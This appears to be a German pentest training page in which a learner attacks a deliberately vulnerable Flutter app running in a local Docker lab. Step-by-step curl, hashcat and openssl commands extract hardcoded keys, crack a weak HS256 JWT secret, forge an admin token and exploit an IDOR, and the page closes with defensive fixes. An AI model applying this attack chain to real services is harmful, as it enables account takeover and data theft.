Zum Hauptinhalt springen

Cloud, Mobile und IoT — Geführte Demonstration

Wir wenden die Pentest-Logik für Mobile von 2026 konkret an einer absichtlich verwundbaren Flutter-App an: Der Client ist niemals eine Sicherheitsgrenze, alles, was auf dem Telefon lebt, gelangt am Ende nach draußen, und die echte Kontrolle liegt auf der API-Seite.

Was Sie können werden​

  • Die fünf klassischen Schwächen einer schlecht programmierten Flutter-App erkennen, sowohl aus dem Bundle als auch aus dem Verhalten der API.
  • Diese Schwächen zu einer kurzen und einer langen Angriffskette verketten.
  • Wissen, was im Bericht dokumentiert werden muss und welche Korrektur vom Entwickler zu erwarten ist.

Einrichtung​

Der Workshop nutzt ein Docker-Lab unter labs/docker/module-11-mobile-flutter/. Drei Container:

  • app — nginx, das den Flutter-Web-Build unter http://localhost:8080 ausliefert.
  • api — Node/Express-Backend unter http://localhost:3000.
  • attaquant — Kali-Station (Image inskillsec/kali-lab) im internen Netzwerk 10.20.40.0/24.

Aus dem Repository heraus:

cd labs/docker/module-11-mobile-flutter
docker compose up -d

Prüfen Sie:

curl -s http://localhost:3000/api/health
# {"status":"ok","service":"m11-api","version":"1.0.0"}

Öffnen Sie http://localhost:8080 in Ihrem Browser: Sie sehen die Login-Seite der Flutter-Web-App.

Der Ablauf, Schritt für Schritt​

1. Visuelle Recon — DevTools geöffnet​

Laden Sie die Seite, öffnen Sie den Tab Network, bevor Sie sich anmelden. Klicken Sie auf den Button Sign in. Sie sehen einen POST an http://localhost:3000/api/auth/login mit einem JSON-Body {"email":"...","password":"..."}. Notieren Sie sich bereits die Domain, den Port und die Struktur des Bodys: Das ist Ihre Karte der API.

2. Grep des Bundles​

Die Flutter-Web-App lädt main.dart.js. Holen Sie sie manuell:

curl -s http://localhost:8080/main.dart.js > /tmp/main.dart.js
grep -E "API_BASE_URL|API_KEY|PREMIUM|DEBUG|TOKEN" /tmp/main.dart.js

Erwartete Ausgabe:

var API_BASE_URL = 'http://localhost:3000';
var PREMIUM_API_KEY = 'pk_live_M11_flutter_premium_key_do_not_leak';
var DEBUG_ENDPOINT = '/api/debug/env';

Drei Entdeckungen mit einem Befehl:

  • Die URL der API (Sie hatten sie bereits über DevTools, aber dieser Weg funktioniert auch ohne Browser).
  • Ein Premium-API-Schlüssel, der nie im Client hätte landen dürfen.
  • Ein Debug-Endpunkt, den der Entwickler „zum Testen" hinterlassen und vergessen hat.
Warum dieser Debug-Endpunkt eine Falle ist

Bei einer echten Flutter-App stammt diese Art von String aus einem reFlutter- oder blutter-Dump der Datei libapp.so der APK. Das Ergebnis ist identisch: Der Entwickler glaubt, die Dart-Konstanten seien „kompiliert", ein Angreifer holt sie mit einem einzigen Befehl. Die Lektion ist plattformunabhängig.

3. Kurzer Weg — /api/debug/env​

Der Pfad /api/debug/env liegt nicht in der Logik der App, er verlangt keine Authentifizierung. Sie sind technisch bereits am Ziel:

curl -s http://localhost:3000/api/debug/env

Erwartete Ausgabe:

{
"warning": "DEBUG ENDPOINT - NE PAS DEPLOYER EN PROD",
"NODE_ENV": "production",
"JWT_SECRET": "s3cr3t2025",
"PREMIUM_API_KEY": "pk_live_M11_flutter_premium_key_do_not_leak",
"M11_FLAG": "FLAG-M11-FLUTTER-MOBILE-2026",
"hostname": "api"
}

Sie haben bereits das Flag. In einem Pentest-Bericht wäre das Befund Nr. 1, von jedem ausnutzbar, eingestuft als Kritisch. Dokumentieren Sie es.

4. Clientseitiger Bypass — Dashboard ohne Konto​

Zurück im Browser. Sie haben kein Token. Öffnen Sie die DevTools-Konsole und geben Sie ein:

localStorage.setItem('auth_token', 'not-a-real-token');
window.location.hash = '#/dashboard';

Das Dashboard erscheint. Aber nach einer Sekunde wechselt es zu „Session expired" und schickt Sie zurück zum Login. Warum?

  • Die clientseitige Schutzmaßnahme (AuthService.isAuthenticated()) prüft nur, ob localStorage.auth_token !== null ist. Allein das Schreiben eines beliebigen Werts besteht die Prüfung.
  • Der Aufruf GET /api/me mit dem falschen Token liefert ein 401, die Seite erkennt das und leitet um.

Pädagogische Lektion: Die clientseitige Schutzmaßnahme dient dem Design, nicht der Sicherheit. Ein Entwickler, der sie allein einsetzt, glaubt geschützt zu sein — ist es aber nicht.

5. Langer Weg — HS256 knacken + Admin-Token fälschen​

Erstellen Sie zunächst ein normales Konto, um ein JWT abzufangen:

curl -s -X POST http://localhost:3000/api/auth/register \
-H 'Content-Type: application/json' \
-d '{"email":"eve@lab.local","password":"anyPass1!","fullName":"Eve"}' \
| jq

Extrahieren Sie das Token. Dekodieren Sie Header und Payload:

TOKEN="<token retourne>"
echo "$TOKEN" | cut -d. -f1 | base64 -d 2>/dev/null; echo
# {"alg":"HS256","typ":"JWT"}
echo "$TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null; echo
# {"sub":4,"email":"eve@lab.local","role":"user","iat":...,"exp":...}

Der Header sagt HS256: Die Signatur ist ein HMAC-SHA-256 über header.payload mit einem geteilten Secret. Dieses Secret lebt ausschließlich serverseitig, aber wenn es schwach ist, lässt es sich per Offline-Brute-Force finden:

echo "$TOKEN" > /tmp/token.jwt
hashcat -m 16500 /tmp/token.jwt /usr/share/wordlists/rockyou.txt

Das geknackte Wort ist s3cr3t2025. Prüfen Sie anschließend mit openssl, dass die Signatur Ihres Tokens tatsächlich diesem Secret entspricht (optional, aber lehrreich):

HEADER=$(echo "$TOKEN" | cut -d. -f1)
PAYLOAD=$(echo "$TOKEN" | cut -d. -f2)
echo -n "$HEADER.$PAYLOAD" | \
openssl dgst -sha256 -mac HMAC -macopt "key:s3cr3t2025" -binary | \
base64 | tr '+/' '-_' | tr -d '='
# Doit coincider avec ce qui suit le second point dans $TOKEN.

Sie fälschen nun ein Token mit role=admin, sub=1:

NEW_HEADER='{"alg":"HS256","typ":"JWT"}'
NEW_PAYLOAD='{"sub":1,"email":"admin@corp.local","role":"admin","iat":1700000000,"exp":9999999999}'
H_B64=$(echo -n "$NEW_HEADER" | base64 -w0 | tr '+/' '-_' | tr -d '=')
P_B64=$(echo -n "$NEW_PAYLOAD" | base64 -w0 | tr '+/' '-_' | tr -d '=')
NEW_SIG=$(echo -n "$H_B64.$P_B64" | \
openssl dgst -sha256 -mac HMAC -macopt "key:s3cr3t2025" -binary | \
base64 -w0 | tr '+/' '-_' | tr -d '=')
FORGED="$H_B64.$P_B64.$NEW_SIG"
echo "$FORGED"

6. IDOR — Dump des Admin-Passworts im Klartext​

Sie brauchen nicht einmal das gefälschte JWT für das IDOR: Evas normales Token genügt, die API prüft den Eigentümer nicht.

curl -s http://localhost:3000/api/users/1 -H "Authorization: Bearer $TOKEN" | jq

Erwartete Ausgabe:

{
"user": {
"id": 1,
"email": "admin@corp.local",
"password": "AdminP@ssw0rd_secret_2026",
"role": "admin",
"fullName": "Amina Zerouali"
}
}

Das Passwort liegt serverseitig im Klartext vor — zweite gravierende Lücke, die dokumentiert werden muss. Bei einem echten Backend wäre das ein bcrypt-Hash, aber viele amateurhafte mobile Apps speichern serverseitig im Klartext.

7. Admin-Zugriff — das Flag durch die Vordertür​

Zum Schluss der Admin-Endpunkt:

curl -s http://localhost:3000/api/admin/config \
-H "Authorization: Bearer $FORGED" | jq

Erwartete Ausgabe:

{
"service": "m11-api",
"jwtAlgorithm": "HS256",
"premiumApiKey": "pk_live_M11_flutter_premium_key_do_not_leak",
"flag": "FLAG-M11-FLUTTER-MOBILE-2026"
}

Dasselbe Flag wie beim kurzen Weg, aber durch die Vordertür erlangt: Genau das würde ein echter Pentester tun, um die vollständige Kette zu belegen und nicht nur die triviale Lücke.

Die Ausgabe lesen​

Drei Aussagen, die Sie vor einem Kunden formulieren können müssen:

  • Jede Dart-Konstante landet im Binary. Wenn Ihr Backend ein Secret verlangt, hat es im mobilen Client nichts zu suchen. Sowohl im Flutter-Web-Bundle als auch in einer .apk genügt eine simple Textsuche.
  • HS256 ist knackbar, sobald das Secret nicht aus einem Zufallsgenerator stammt. s3cr3t2025 fällt in Sekunden. Ein starkes Secret hat mindestens 32 zufällige Bytes, base64-kodiert. Noch besser: auf RS256 mit einem Schlüsselpaar wechseln, der private Schlüssel bleibt serverseitig.
  • IDOR = Authentifizierung ohne Autorisierung. Ein gültiges Token ist keine Berechtigung. Jeder Endpunkt, der eine :id akzeptiert, muss prüfen, dass der Aufrufer die Ressource besitzt oder einsehen darf.

Wenn es hakt​

  • Sie geben den falschen curl-Befehl ein und die API antwortet mit Missing token. Prüfen Sie das Format Authorization: Bearer <token>, ohne überflüssige Anführungszeichen.
  • Hashcat meldet Line-length exception: Ihre Datei enthält nur eine Zeile, aber diese muss das gesamte JWT enthalten (drei durch Punkte getrennte Teile), nicht nur die Signatur.
  • Das IDOR liefert 404: Prüfen Sie, ob die angeforderte ID existiert. 1, 2, 3 sind die Seeds; die folgenden IDs sind Ihre eigenen Registrierungen.